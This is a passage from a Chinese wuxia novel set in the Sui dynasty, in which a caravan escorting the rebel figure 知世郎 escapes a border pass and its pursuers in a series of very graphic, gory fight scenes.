“我阿塔是老莫,”她说,声音甜得像蜜罐子里刚倒出来的,“承蒙您照顾。”
她说话间,手已经递了出去。一袋银子,不大不小,不轻不重,恰到好处地塞进将军掌心里。那动作行云流水,像是演练过千百遍,又像是生来就会。
“若每个军爷都像您这般爱民,”她抬起眼,笑得眉眼弯弯,眼角挤出细细的笑纹,“大隋早就四海服膺了。”
陈大将低头看了她一眼,又低头看了看手里的银子。那袋子拿在手里,沉甸甸的,压手。他用指腹摩挲着袋面,感受着里面银锭的形状,眉头慢慢拧成一团。
“我上辈子他妈是欠了你们莫家集的。”
他嘟囔着,声音含糊不清,像是从牙缝里挤出来的。可手上的动作却诚实得很……他掂了掂,沉甸甸的,又掂了掂,还是沉甸甸的。脸上的表情随着那掂动的节奏,慢慢松了三分。
可那双眼睛,还是忍不住往队伍中间瞟。
瞟向那个裹着白袍、压着兜帽的身影。
盯了两眼。
然后他冷笑两声,把银袋子往怀里一揣,大手一挥,嗓门抬得老高:
“行,过吧!”
阿育娅笑意不减,眉眼还是弯的。可她的眼风却飞快地扫过众人……从刀马脸上扫到陈晨脸上,又扫到阿妮脸上,最后落在知世郎埋着的头顶。
那一眼极短,短到旁人都察觉不到。
但刀马看见了。陈晨也看见了。
众人脚下顿时快了三分。
陈晨牵着马,步子不快不慢,身体却不动声色地侧了过来……正好将知世郎挡在身侧。那匹枣红马也懂事,打着响鼻往前凑了凑,把那个裹着白袍的身影遮得更严实。
周围的士卒神色各异。有人低头盯着自己的脚尖,有人眯着眼打量他们,还有人手已经按上了刀柄……但谁也没动,谁也没出声。
一步。两步。三步。
关门就在眼前。
外面的天光已经透进来了,亮的刺眼。能看见关外的沙地,能看见远处的沙丘,能看见天边那一线淡淡的蓝。只要踏出去,就是另一片天地……
“站住!”
一只手忽然从旁边伸了过来。
那红峡关的副将不知何时绕到了侧面,一把抓住知世郎的兜帽,猛地往下一拽!
兜帽脱落。
惨白的面孔暴露在日光下。那张脸白得不像是活人的,像是浸了水的宣纸,又像是埋了三天刚挖出来的。而那几道诡异的花纹,从嘴角蔓延到耳根,又从眼角爬进鬓角,弯弯曲曲,盘根错节,像扭曲的树藤爬满了半张脸。
触目惊心。
“这是……”
士卒们愣了一瞬。
下一瞬,刀枪剑戟齐刷刷举起,寒光闪闪,对准了六人。枪尖指着胸口,刀锋对着脖颈,箭头瞄着眉心。只要一声令下,六个人瞬间就能变成六具尸体。
阿育娅手刚搭上刀柄,弯刀才抽出半截……
虎口忽然一沉,被什么硬物不轻不重地抵住了。她低头一看,是刀马的刀柄。那力道恰到好处,既让她抽不出刀,又不至于伤着骨头。她抬眼看去,刀马连目光都没挪过来,只是手腕轻轻一送,将她抽出的半截刀推回了鞘里。
“你……”
话没出口,刀马已经收回刀柄,像是什么都没发生过。
但陈晨却不会等死。
他身形一闪,左手如电,一把薅过那副将的衣领,把人拽到跟前。那副将还没反应过来,脑门上已经顶上了一件冰凉的东西……弩箭的箭槽,不偏不倚,正正抵在太阳穴上。那冰凉凉的触感,硌得他浑身一僵,动都不敢动。
与此同时,腰间的长刀不知何时已被陈晨抽出。刀身雪亮,映着日头晃出一道寒光。他握着刀,刀尖从左边划到右边,缓缓划过每一个士卒的脸,像是在数人头,又像是在挑第一个下手的。
“所有人退后。”
他的声音不大,却清清楚楚送进每个人耳朵里。那声音平平的,没有起伏,没有情绪……越是如此,越是让人脊背发寒。
“若敢上前一步……”
他顿了顿。
“我保证他脑袋开花。”
副将被弩箭顶着脑门,脸涨得通红,脖子上青筋一根根暴起来,像蚯蚓爬满了脖颈。可他偏偏还在笑,笑得狰狞,笑得牙关都露出来了。
“龟儿子!”他啐了一口,唾沫星子喷出去老远,“用暗器暗算老子,你们走不掉了!”
他梗着脖子,声音又尖又厉,刺得人耳膜发疼:
“我等奉裴将军之命,在此恭候多时了!若不放了我,等裴将军铁甲军一到……你们全都要变成猪狗!”
陈晨没有答话。
他只是手腕一翻。
刀尖在那人眼前轻轻划过……轻得像裁纸,像切菜,像做一件再寻常不过的事。那动作太快,快到那副将甚至没来得及眨眼。
“啊……!”
凄厉的惨叫刚出口,就卡在了喉咙里,变成一声含混的呜咽。
两只眼球从眼眶里滚落。
它们先是掉在副将的衣领上,弹了一下,然后顺着胸膛滚下去,落在脚边的沙土地上,又弹了弹,终于不动了。裂成了四瓣,像两朵被踩烂的花。
鲜血顺着脸颊淌下来,一道一道的,像红色的泪水。染红了那张还张着嘴的脸,染红了衣领,染红了胸口的铜甲,染红了脚下的土。
那副将张着嘴,嘴型还保持着喊出“啊”的那一刻。可是再也喊不出声了。
陈晨甩了甩刀上的血,甩出去的血珠落在沙地上,洇成一个个暗红色的小点。他把刀收回来,重新架在那副官脖子上。
而那守城大将,却好似根本没看见这血腥的一幕。
他嘴里念叨着“知世郎”,一步一步朝队伍中间走去。他的目光穿过人群,穿过刀马,穿过阿育娅,穿过陈晨的背影,穿过那匹枣红马,最后落在那裹着白袍的身影上。那目光定定的,像是终于找到了要找的东西。
就在此时,阴影中的人动了。
墙根下,门洞后,货堆旁,那些原本一动不动的黑影忽然活了过来。足足数十条,悄无声息地从各个角落钻出来。他们的脚步轻得像踩在棉絮上,轻得像踩在云朵里,没有一丝声响。
不过瞬息之间,他们已经欺到那些士卒身后。
一人对一个,分毫不差。像是早就数好了人数,早就分好了目标。
还没等陈晨开口,那陈将军已经拔出横刀。
他握着刀柄,刀尖朝下,对准副官的胸膛……那个还在流血、还在张着嘴、还在瞪着一双空洞眼眶的副官。
一刀攮进去。
那副官的身体猛地一颤,瞪大的眼眶里流出最后一丝黑红色的液体。他至死不敢相信,杀他的不是敌人,是他的将军。
与此同时,数十道寒光同时亮起。
有的短刀从背后捅入,从前胸透出,血顺着刀尖往下滴。有的手掌捂住口鼻,刀刃在喉咙上一抹,干净利落,连血都喷不远。没有惨叫,没有呼喊,只有身体软倒在地的闷响,一声接一声,像口袋掉在地上。
一具。两具。三具。
不到片刻,那些刚才还举着刀枪对准六人的士卒,全都躺在了地上。有的还在抽搐,有的已经不动了,血从身下渗出来,汇成一道道细流,在沙土地上蜿蜒。
做完这一切,那守城大将转过身。
他面朝知世郎,双手抱拳,深深行了一礼。腰弯得很低,头几乎要碰到膝盖。
“花颜团团民,陈十九,见过先生!”
话音落下,那数十条黑影齐刷刷单膝跪地。他们跪在自己的血泊里,跪在那些还温热的尸体
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旁边,任凭身上的鲜血滴落,一动不动。
关门口一片死寂。
连呼吸声都听不见。
只有风从城门洞灌进来,呜呜地响,吹动知世郎的袍角。那白袍在昏黄的光里轻轻飘着,飘一下,停一下,又飘一下。像一面降旗,又像一朵开在废墟上的花。
知世郎看了看周围那些半跪在地的身影。他们身上有血,脸上有血,手上还在往下滴血,可他们的眼睛却亮得出奇,全都盯着他一个人。
他的嘴唇动了动。
他抬起手,摆了摆。
“诸位请起,”他的声音很轻,像是怕惊着什么,“诸位请起,快快请起。”
他往前走了两步,弯下腰,亲手扶起陈十九。那双手瘦得皮包骨头,指节嶙峋,青筋毕露,却稳稳地托住那沾满血的胳膊。
“我花颜团天下皆兄弟。”
陈十九抬起头,看着眼前这张惨白的、带着诡异花纹的脸。离得这样近,他能看清那些花纹的每一道纹路,能看清那些纹路下面隐约透出的青色血管,能看清那双正对着他的眼睛。
那双眼睛黑得发亮,像两口深井,一眼望不到底。
他的嘴唇抖了抖,上下牙磕在一起,发出细微的“得得”声。
“此生能见先生,”他的声音沙哑得不像话,像是从喉咙里硬挤出来的,像是挤了很久才挤出来,“死而无憾。”
他顿了顿,忽然伸出手,一把攥紧知世郎的袖子。攥得紧紧的,手指骨节都泛白了,像是怕他跑掉似的。
“先生,”他的声音更哑了,眼眶泛红,“我只有一个问题……有朝一日,真的能花满天下?”
知世郎没有回答。
他只是把手伸进怀里,慢慢地,掏出了一朵小花。
那花很小,比拇指盖大不了多少。花瓣蔫蔫的,皱成一团,边缘已经有些干枯卷曲。可那蔫巴巴的花瓣上,还带着一点浅浅的红色,淡淡的,若有若无,像是舍不得褪去。
他把花举起来,看了陈十九一眼。
然后轻轻地,轻轻地,把它插在陈十九盔甲的缝隙里。
那朵花就在冰冷的铁片上晃了晃,晃了晃,终于稳住了。蔫巴巴的花瓣在风里轻轻颤着,像一团小小的、将熄未熄的火苗。
“捐躯赴国难,视死忽如归。”
知世郎的声音很轻,轻得几乎被风吹散。
“静待花开。”
话音未落,身后的大漠里忽然传来一阵马蹄声。
那声音由远及近,起初只是隐隐约约的闷响,像远方的雷。然后越来越近,越来越响,闷雷似的滚过来,震得地面都在微微发抖。沙粒被震得跳起来,落下去,又跳起来。
阿妮猛地转头。
远处的沙丘背后,数十骑人马正朝他们疾驰而来。马刀在日头下闪着寒光,一下一下,像波浪,像闪电。马蹄扬起的沙尘遮住了半边天,黄澄澄的,铺天盖地。
“有追兵!”
阿妮的声音尖利得像刀划过铁皮,刺得人耳膜发疼。
陈十九顺着她的目光望去。
他看见那滚滚而来的沙尘,看见那寒光闪闪的马刀,看见那越来越近的黑压压一片。他脸上的激动、泪光、期盼,慢慢凝固,慢慢消退,慢慢变成一种说不清的表情。
他回过头,看向知世郎。
又看向那越来越近的马队。
然后他深深地吸了口气。
那口气吸得很长很长,像是要把这一辈子的气都吸完。
“你们先走。”
他的声音忽然变得很平静。平静得像是在说今天天气不错,平静得像是在说晚饭吃什么。
刀马一步上前,把还要说什么的知世郎一把扶上马背。知世郎张了张嘴,想说什么,刀马已经按住他的肩膀,用力一推。
“走!”
五匹马冲出关门,朝龙鳞古渡的方向狂奔而去。马蹄扬起的沙尘在身后拉成一道长长的黄龙,蜿蜒着,翻滚着,把他们的身影渐渐吞没。
身后,关城门的喊叫声响成一片……
“关城门!快关城门!”
“别让他们跑了!”
“放箭!放箭!”
那声音越来越远,越来越模糊,被风声搅成一团,被马嘶搅成一团,被隆隆的马蹄声搅成一团。最后什么都听不清了,只剩下嗡嗡的一片。
陈晨一边策马狂奔,一边把那柄连弩插回身后的木匣。他的手指摸索着找到那个位置,轻轻一按……咔哒一声轻响,暗格弹开一道细缝。他把弩塞进去,再一按,暗格合上,严丝合缝,和没动过一样。
他忍不住回头望去。
红峡关的城门已经阖上一半。两扇厚重的木门正缓缓向中间靠拢,只剩下一条窄窄的缝隙,越来越窄,越来越细。
那缝隙里,陈十九正站在门后。
他一个人站在那儿,站在那些尸体中间,站在那一滩滩血迹中间。他的手还攥着那朵小花的位置,攥着那冰冷的铁甲。他的脸从那越来越窄的缝隙中露出来……
决绝的,平静的,像一尊石像。
两扇城门轰然合拢。
那一声巨响,隔着这么远都能听见,闷闷的,沉沉的,像一声叹息,又像一声告别。
7. 第六章:三十三骑雕翎队
正午的大漠,阳光像烧红的针,一根一根扎进眼睛里。
即便低着头,只盯着马蹄前的沙地,那光也能穿透眼皮,刺得眼眶生疼。睫毛挡不住,眯眼也挡不住……那光是活的,专往肉里钻。眼眶酸得发涩,泪流出来,还没淌到脸颊就被蒸干了。沙子烫得能烙饼,热气从脚底往上涌,靴子里像灌了炭火,整个人在蒸笼里闷着。
吸进肺里的空气像砂纸,一下一下磨着嗓子眼。每喘一口气,喉咙就干一分。嘴里已经没有唾沫了,舌头贴着上颚,一动就撕得生疼。嘴唇裂了几道口子,血珠子渗出来,又被舔回去,咸腥的,更渴。
一行五匹马,在苍黄的天地间拉成一条细线。
马匹迈着碎步,蹄子陷进沙里,拔出来,再陷进去。身后留下一串深深的蹄印,但不用多久,风一吹,沙一涌,就平了,什么都没剩下。天是白的,地是黄的,远处的沙丘连绵起伏,像凝固的海浪,一层叠着一层。地平线模糊成一片,分不清哪儿是天,哪儿是地。
偶尔有风卷着沙尘从远处压过来,打在脸上生疼。只能侧过身,眯着眼,等那一阵过去。沙子灌进领口,灌进袖口,硌得皮肤发红。
不知行了多久,前方忽然收窄。
两座石山从沙地里拔地而起,像两扇半开的石门,中间只留一道窄窄的夹缝。那山是秃的,寸草不生,光秃秃的石头被太阳晒得发白,晃得人眼晕。峭壁陡得像刀劈的,直上直下,连个落脚的地方都没有。石壁上裂着无数细缝,像是被晒裂的,又像是什么东西从里面挣出来过。
风从峡谷里灌出来,呜呜地响,像有什么东西在哭。那声音贴着石壁盘旋,钻进耳朵里,瘆得慌。
陈晨忽然勒住了马。
他没有说话,只是放慢了速度,让枣红马一步一步落到队伍最后。刀马在前头,阿育娅在中间,阿妮护着知世郎,都没回头。马蹄声依旧,没有人发现他已经落下了。
陈晨的眼睛扫过那两座石山,扫过那道窄缝,扫过队伍刚刚走过的路。他看了很久,然后低下头,看了看马屁股两侧挂着的东西。
那里有几个布包。
包的样子奇怪,不是常见的褡裢,也不是装行李的包袱。它们被缝成筒状,开口朝下,口子用细麻绳一道一道捆得严严实实,一圈又一圈,像是生怕什么东西漏出来。布包随着马身的起伏轻轻晃着,里面的东西沉甸甸的,压得马鞍一侧微微下沉。
他早就准备好了。
从进入大漠的那一天起,这些东西就一直挂在这里。他也不知道会不会用上,但带着总比不带强。
现在,该用了。
他从怀中掏出一柄小刀。刀不长,巴掌大小,刀刃薄得发亮,是他用来削箭杆、割皮绳的杂活刀。
刀尖一挑,麻绳崩断。
布包的口子张开,里面的东西哗啦啦倾泻而下……黑的,亮的,四角带刺,落在沙地上滚了几滚,不动了。
阳光照在上面,偶尔闪一下,又暗下去。
铁蒺藜。
一组撒完,陈晨又划开另一组。同样的哗啦声,同样的黑点散落。他动作很快,没有一丝多余,像做过千百遍。
沙是活的。
那些细细的沙粒从高处流下来,从低处涌上去,不一会就把铁蒺藜埋了一半。只剩下一个个黑色的小点,露在沙面上,像夜里潜伏的眼睛。不弯下腰仔细看,根本发现不了……等发现的时候,马蹄已经踩上去了。
陈晨没有多看。
他把那几个空布包从马背上扯下来,随手扔在路边。布包落在沙地上,软塌塌的,像几团破布,很快也被沙子埋了一半。
然后他一夹马腹,枣红马扬蹄,朝着前面的队伍追去。
疾驰了半个时辰,五匹马跑得几乎要散了架。
蹄声从急促变成拖沓,喘息从粗重变成嘶哑。汗水在马背上流成一道道小溪,顺着皮毛淌下来,顺着马肚子往下滴,滴在滚烫的沙地上,“哧”的一声,转眼就没了踪影。
马嘴里往外泛白沫,舌头伸得老长,呼哧呼哧地喘。眼睛瞪得大大的,眼白上布满血丝,像随时会倒下去。
人的滋味也不好受。
嗓子眼粘在一起,像有人往里塞了一把沙。嘴唇干得起了皮,一动就裂,裂口里渗出血来,被舌头一舔,咸的,然后更渴。身上的衣服被汗浸透,又被热风吹干,干了再湿,湿了再干,结出一层白花花的盐霜。那盐霜蹭在皮肤上,又痒又疼。
刀马的小七趴在马背上,小脸晒得通红,嘴唇也干得起皮,但愣是一声没吭。只是偶尔抬起头,看看刀马的背影,然后又埋下去。
阿妮护着知世郎,时不时回头看一眼。知世郎裹着白袍,兜帽压得低低的,看不见脸,只露出半截苍白的下巴。他在马上摇摇晃晃,但始终没掉下来。
就在众人以为要跑到天荒地老时,眼前忽然一亮。
一条小河横在面前。
说是河,其实不过两丈来宽,水也不深,清凌凌的,能看见底下的沙石。河边稀稀拉拉长着几丛不知名的野草,绿得扎眼。那草不高,叶片细长,被太阳晒得蔫蔫的,但还活着。水在流,从西往东,不急不慢,泛着一圈一圈的涟漪。
在这满眼苍黄的大漠里,这一抹清亮简直像神仙洒下的甘露。
五匹马不约而同地加快了步子。它们看见了水,闻见了水的味道,不等主人催赶,已经一头扎进河里。
马头埋进水中,咕咚咕咚地狂饮。那冰凉的河水灌进干渴的喉咙,从口腔一路凉到胃里,激得马匹浑身一颤,打了个响鼻,水花四溅。马耳朵一抖一抖的,尾巴甩得老高,甩出一串水珠。
阿育娅那匹白马饮得最急,呛了一口,喷出一片水雾,又埋头继续喝。水从它嘴角漏出来,往下滴,滴在河里,又荡起一圈涟漪。
刀马的马一边喝一边用蹄子刨水,把河底的泥沙都搅了起来,水浑了一片。它不在乎,继续喝,喉咙里发出满足的咕噜声。
陈晨的枣红马饮了几口,抬起头喘一口气,喷着响鼻,然后又埋下去。那模样,像是要把这辈子没喝够的水都补回来。
河面上泛起一圈圈涟漪,顺着水流向下游荡去,又很快被新的水波吞没。岸边的沙地被马蹄踩得乱七八糟,湿漉漉的脚印一个叠一个,深的浅的,大的小的,交错在一起。几丛野草被马尾巴扫得东倒西歪,叶子上的水珠往下滴,滴在沙地上,洇出一个深色的圆点。
风从河面上吹过来,带着水汽的凉意,拂过汗湿的脸颊。
那风吹在皮肤上,凉丝丝的,舒服得让人想闭上眼睛。
五匹马喝够了,慢慢抬起头,嘴里还在往下滴水。它们站在齐膝深的河水里,偶尔甩一下尾巴,耳朵一抖一抖的,享受着这片刻的清凉。水从它们身上往下流,流进河里,又流走了。
阿育娅从马背上跳下来,蹲在河边,掬起一捧水,往脸上泼。泼了一次,又泼一次,再泼一次。水顺着脸颊往下流,打湿了衣领,她也不在乎。
阿妮也下来了,牵着知世郎的马,让他也喝几口。知世郎掀开兜帽的一角,露出那半张惨白的脸,俯下身,把嘴凑到河边,小口小口地喝。
刀马没下来。他坐在马上,看着前方,看着那越来越窄的峡谷,眉头微微皱着。
小七从他怀里探出脑袋,也想去玩水,被刀马一把按了回去。
陈晨也没下来。他坐在马上,看着来时的方向,看了很久。
然后阿育娅先开口。
“你早知道陈十九有异?”
她盯着刀马,声音拔高了几分。水珠还挂在她脸上,顺着下巴往下滴,但脸上的笑意早没了踪影。
“也不和我说一声?”
刀马没答话。
他摸了摸小七的脑袋,眼睛依旧望着前方越来越窄的峡谷。那峡谷像一张嘴,正在等着吞他们进去。
好一会儿,他才开口:
“前面的路再凶险,要防的也只是官家。”
他顿了顿。
“再往后……”他的声音低了下去,“可就是江湖人出没的地界了。这葫芦谷越走越窄,万一有人埋伏……”
阿育娅愣了一下。
她顺着刀马的目光看去……那峡谷确实窄,窄得只能并排走两匹马。两边的峭壁高得望不到顶,像两堵墙,把他们夹在中间。如果真有人埋伏,从上面扔石头下来,跑都没处跑。
她看看刀马,又看看陈晨。
陈晨没说话。他低着头,看着自己的马。那匹枣红马还在河里泡着,时不时打个响鼻。他抬手拍了拍它的脖子,马蹭了蹭他的手掌。
然后阿育娅忽然笑了起来。
眉眼弯弯的,像是什么都不曾发生过。
“我就射他个透心凉!”
她抬手比了个拉弓的姿势,动作利落,虎虎生风。右手拉开,左手稳住,眯起一只眼,瞄准前方。
“知世郎先生深得民心,我阿塔神机妙算,更何况……”
她放下手,看了陈晨一眼,又看了看刀马。
“我们三人联手,纵有千军万马,又有何惧?”
话音未落。
身后忽然传来一阵马蹄声。
那声音由远及近,起初只是隐隐约约的闷响,像远方的雷。然后越来越近,越来越响,闷雷似的滚过来,震得地面都在微微发抖。
河边的沙粒被震得跳起来,落下去,又跳起来。河面上荡起一圈圈涟漪,不是风吹的,是马蹄震的。
众人转身望去。
五匹马,每匹马上骑着两个人。
马匹跑得踉踉跄跄,口吐白沫,眼珠子瞪得老大,眼白上布满血丝。它们已经到了极限,全凭一口气撑着。马背上的骑手拼命抽打着,嘴里骂着,催着。
那马终究是不堪重负。
跑到近前时,腿一软,齐齐跪倒在地。马头栽进沙地里,嘴里发出悲鸣。
十个人从马背上摔了下来,滚了一地,沙尘扬得老高。
其中一人爬起的速度极快。
他在地上打了个滚,顺势弹起来,像身上装了弹簧。其他人还在地上呻吟,他已经站得笔直。
他脸上贴着两块东西。
那两块东西盖在脸颊上,一块在左,一块在右,像是被什么东西射穿过留下的疤,用皮子盖着。皮子是暗红色的,不知道是什么皮,边角磨得发亮。那两块皮子随着他咬牙的动作一鼓一鼓的,说不出的狰狞。
“陈十九那狗东西!”
他扯着嗓子骂道,唾沫星子喷出去老远。
“也敢拦老子的雕翎队!被老子射成了筛子!”
他往前走了一步,目光扫过众人,像狼盯着猎物。
“是你们中哪个王八蛋设的陷阱,害老子三十三骑的雕翎队折在谷口!”
他的目光落在刀马身上。
“刀马。”
他叫出这个名字,嘴角扯出一丝笑。
“你若是现在自己跳下马束手就擒,常贵人那儿我还能替你美言几句,留你个全尸。”
他顿了顿,脸上的笑容更深了。
“若你能让这两个小娘皮陪老子们笙歌达旦,我或许还能保你……”
话没说完。
一只羽箭贴着他耳朵飞过,“夺”地钉在身后的沙地上。
箭尾颤颤,嗡嗡作响。那箭射得太近,近到能听见破风声,能感觉到箭擦过耳朵时带起的那一丝凉意。
“之前射穿你嘴的时候不长记性是不是?”
阿妮已经又抽出一支箭,搭在弓上,弓弦拉满。她站在知世郎身侧,目光冷得像冰,箭尖稳稳地对准那人的眉心。
“赶紧……”
“滚”字还没出口。
一只黑色的无羽短箭已经射穿了那人的头颅。
那箭来得太快,快到他甚至没来得及眨眼。
脑门上突然多了一个黑洞,后脑勺炸开,白花花的脑浆混着血溅出来,洒在炙热的沙地上……才刚接触,就变了颜色,滋滋地冒着热气。
那人张着嘴,还保持着要说话的姿势,脸上的笑容还没来得及收回去。
他就那么站着,站了一瞬。
然后直挺挺地往后倒去。
不知何时,陈晨已经从木匣中取出了连弩。
他端坐在马上,面无表情,弩身架在手臂上,箭槽里还剩下几支箭。他没有看那倒下去的人,只是将弩箭对准了下一个人。
其余九人皆是一愣。
他们看看倒在地上的首领,又看看那个端坐在马上的黑衣人,再看看他手里那柄乌黑的连弩。
他们与莫家集交手过数次,虽说并非没有伤亡,但总是点到为止……没有人真下死手,没有人真想要对方的命。
可这一次,自家首领狠话还没放完,脑袋就开了花。
短暂的死寂。
只有风声,河水流淌声,还有马偶尔打响鼻的声音。
然后一个声音炸开:
“他们就六个人!杀了那三个男的,一个小孩,剩下两个小娘皮,兄弟们一起享用!”
话音未落。
弩箭破空。
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>那箭精准地射穿了喊话者的膝盖,从膝盖骨中间穿过去,带出一蓬血雾。
他惨叫着栽倒在地,抱着腿翻滚,血洒了一地。膝盖上的窟窿往外冒血,骨头碎碴从伤口里露出来,白森森的。
陈晨转动曲柄。
嘎嘎的机械声响起,弩弦重新拉紧,下一支箭落入箭槽。不过瞬息,已然就绪。
“噗!”
一声闷响。
一人被射穿肩膀,往后栽倒。手里的刀飞出老远,落在沙地上,刀身颤了颤。
“噗!”
又一声。
另一人捂着喉咙,嘴里发出咯咯的声响……那是血往喉咙里灌的声音。
他瞪着眼睛,张着嘴,想喊喊不出来。手指缝里往外冒血,堵都堵不住。
他往前迈了一步,又迈了一步,然后腿一软,跪在地上。接着直挺挺地倒了下去,腿蹬了两下,不动了。
箭匣已空。
陈晨随手将连弩插回马腹侧的长包内。
他翻身下马。
落地时,靴子踩在沙地上,发出轻微的“沙”的一声。
他抽出腰间的长刀。
刀身雪亮,映着日头晃出一道寒光。那光从刀根滑到刀尖,又滑回来,像是活的。
他提着刀,朝那还站着的六个人走去。
刀尖拖在沙地上,划出一道浅浅的沟。沙粒被刀刃拨开,往两边涌,然后又流回去。
“谁都别插手。”
他的声音不大,却清清楚楚送进每个人耳朵里。
剩下的追兵终于反应过来。
有人举刀,有人拉弓,有人转身要跑……但已经来不及了。
陈晨已经到了。
抬手一刀。
刀光一闪。
其中一人从肩膀斜劈成两段……连人带刀,齐齐断开。那人甚至还保持着举刀的姿势,上半身已经滑落下去。血喷了旁边的同伴一身,溅在脸上,热乎乎的。
一支羽箭迎面射来。
陈晨微微偏头。
那箭贴着他耳朵飞过,连一根头发都没碰到。
他快步上前,长刀上撩。
一条胳膊连带着血飞了出去,在空中转了两圈,落在地上,手指还在抽动。被砍的人还没反应过来,低头看了看自己的肩膀,然后才惨叫出声……
声音只叫了一半。
因为陈晨的下一刀已经到了。
刀刃横着将他与另一人从腰部砍成了两段
两个上半身同时落地。其中一个眼睛还睁着,嘴唇还在动,低头看着自己的身体……不,已经没身体了,只有一截,血从断口往外涌,很快洇红了身下的沙地。
陈晨抬脚将一人踹翻在地。
那人滚了两圈,还没爬起来,就看见刀刃划过……
旁边同伴的头被竖着劈成了两半,红的白的流了一地,淌在沙地上,热气腾腾。
他张嘴要喊。
陈晨的刀已经回来了。
刀刃斜插,从他胸口钉进去,穿过身体,钉进沙地里。
他还活着。
刀插在身上,把他钉在地上,像钉死一只蚂蚁。他只能瞪着眼睛,看着陈晨转身去对付下一个。他想喊,喊不出来;想动,动不了。胸口的那把刀把他牢牢地钉在那儿,血顺着刀身往下流,流进沙地里。
仅存的最后一人,吓得尿了裤子。
□□湿了一大片,顺着腿往下淌,滴在沙地上。手中的刀掉在地上,他看都不看同伴一眼,转身朝来时的方向狂奔而去,一边跑一边喊,喊的什么自己也听不清。
陈晨没追。
他只是抽出插在那人身上的刀,转身走到那个一开始被射穿肩膀的家伙面前。
那人还躺在地上,捂着肩膀,血从指缝里往外冒。看见陈晨过来,他拼命往后挪,用脚蹬地,蹭着沙地往后挪。
陈晨抬手一刀,砍死。
然后他来到那个被射穿膝盖的人跟前。
那人还在地上,抱着腿,浑身发抖。血从膝盖的窟窿里往外冒,染红了身下的沙地。他脸色惨白,嘴唇发青,不知道是疼的还是吓的。
陈晨蹲下来。
“你刚才说了什么?”
他的声音冷得像从死人嘴里说出来的一样,没有一丝温度。
“要把阿育娅她们两个怎么样?”
“您大人有大量,放过小人吧!”
那人拼命求饶,浑身抖得像筛糠。眼泪鼻涕流了一脸,混着沙土,糊得看不出模样。
“小人只是一时糊涂……”
话没说完。
刀刃划过脖颈。
血喷出数丈,洒在沙地上,洒在河水里。
人头滚落,一路滚进河水里。那头颅在河里沉下去,又浮起来,随着水流往下漂,脸上还带着求饶的表情。
清澈见底的河水,顿时染上一抹猩红。
那红色慢慢散开,像一朵花在绽放,一丝一丝的,一缕一缕的,渐渐染红了整片水面。
陈晨站起身。
他甩了甩刀上的血,血珠落在沙地上,洇成一个个暗红色的小点。
然后他用袖子将残余的血渍仔细擦净……从刀根擦到刀尖,再从刀尖擦回来,一下一下,不紧不慢。
他举起刀,迎着光看了看刀刃。阳光在刀身上流淌,他翻来覆去地看,确认没有崩口,没有卷刃,这才缓缓还刀入鞘。
身后,两个将死未死的人还在沙地上惨叫。
其中一个还在抽搐,另一个已经完全不动了,血从身下渗出来,汇成一道道细流。那细流蜿蜒着,流进河里,河水更红了。
陈晨翻身上马。
他扫了那些人一眼。
“不用管他们。”
他说,声音平平的,没有起伏。
“活不过下个时辰了。”
他调转马头,一夹马腹,朝龙鳞古渡的方向继续前进。
枣红马迈开步子,蹄声落在沙地上,闷闷的,一声接一声。
身后传来一阵急促的马蹄响……阿育娅追了上来,与他并排。
她没有说话。
只是将陈晨的右手拉过来,放在自己的手心里。
那只手刚刚握过刀,砍杀过七个人,沾满了血……但已经被他擦干净了。
手指修长,骨节分明,指腹有厚厚的老茧,是常年握刀的人才会有的手。手背上有几道旧疤,颜色已经淡了,但摸上去还能感觉到微微的凸起。
她把那只手放在自己手心里,摸了又摸。
8. 第七章:竖和燕子娘
陈晨从马鞍旁的小包里取出四支无羽短箭,一支一支填进连弩的箭匣里。箭矢入槽,发出轻微的“咔咔”声,每一声都清脆利落,在寂静的大漠里能传出去老远。
阿育娅看着他装完,忽然伸出手,在他面前晃了晃。
那手白净净的,手指纤细,晃起来像风里的草叶。
陈晨没说话,把弩递了过去。
“转动曲柄,等弓弦上好,一扣上面的悬刃就能射。”
阿育娅接过弩,翻来覆去看了几遍。弩身乌沉沉的,入手沉甸甸的,比她想象的要重。木质的弩身被磨得光滑,握在手里温温的,像是被握过很多次。她试着转动曲柄,嘎嘎几声,弓弦一点点绷紧,能感觉到那股蓄势待发的力量在指尖下凝聚。
她端起弩,眯起一只眼,对准三丈外的一只野兔。
那兔子正蹲在沙地上啃着什么,耳朵一抖一抖的,浑然不觉自己已经被盯上。沙地上还有它刨出的小坑,坑边散落着几根枯草。
阿育娅屏住呼吸。
手指轻轻一钩。
“嗖……”
弩箭飞射而出,快得几乎看不清轨迹。空气被撕裂的声音尖锐刺耳,在空旷的大漠里炸开。
那兔子刚竖起耳朵,已经被钉在沙地上。箭矢从肩胛骨穿过去,把它钉得死死的。兔子蹬了两下腿,抽搐了几下,便不动了。血从伤口渗出来,洇湿了一小片沙地。
阿育娅眼睛亮晶晶的,嘴角翘起来。
“威力不小,准度也够。”
她把弩还给陈晨,又补了一句:“等从长安回来,我也让我阿塔给我做一个玩玩。”
陈晨接过弩,又从包里取出一支短箭填进箭匣。上好弦,顺手插进身后那只黑木箱子里。箱子合上的时候发出“咔哒”一声轻响,严丝合缝。
他摸了摸缰绳,补了一句:
“如果再远的话,准度就差了……”
他顿了顿。
“喜欢的话,我这儿还有些备用零部件,再拼一只出来不成问题。不过没调试过,准头也就能到两丈内。”
阿育娅嘴角勾起一丝笑,手指搭上陈晨的手臂,轻轻拉了拉。
“两丈也够用啊。”她的声音软下来,带着点撒娇的意味,“我走路轻着呢,悄悄摸过去,打个兔子什么的……”
她顿了顿,又补了一句:
“用弓的话,射几次羽毛就坏了,多可惜。”
陈晨没接话。
他右手一动,按在木匣机关上。“咔哒”一声轻响,暗格弹开。那声音很轻,但阿育娅听得很清楚……她永远记得第一次听到这个声音时,差点一箭射穿陈晨的脑袋。
陈晨从中取出一柄连弩……不是之前用过的那把,是早已调试好的备用弩。弩身同样乌沉,但看起来更新一些,边角还没有磨损的痕迹,握柄上的布条还是新的。
他将弓弦小心翼翼地松开。动作很慢,很轻,像是怕惊着什么。松完弦,他把弩插进马鞍旁的长包里。
又从那个小包里数出四十来支无羽短箭,一支一支放进长包的夹层,整整齐齐码好。箭头朝下,箭尾朝上,排成几排,像列队的士兵。
做完这些,他把整个长包解下来,递到阿育娅面前。
“已经调试好了。”他说,声音还是那么平,听不出任何情绪,“弩箭不够用的话,可以照着旧的自己做。这弩在四丈以内准头最足,再远就要凭运气了……”
他顿了顿。
“尽量打头,或者胸。”
阿育娅接过长包。
那包比想象中轻,她抱在怀里,低头看了看,又抬头看了看陈晨。
然后她抽出那柄弩,翻来覆去地看。
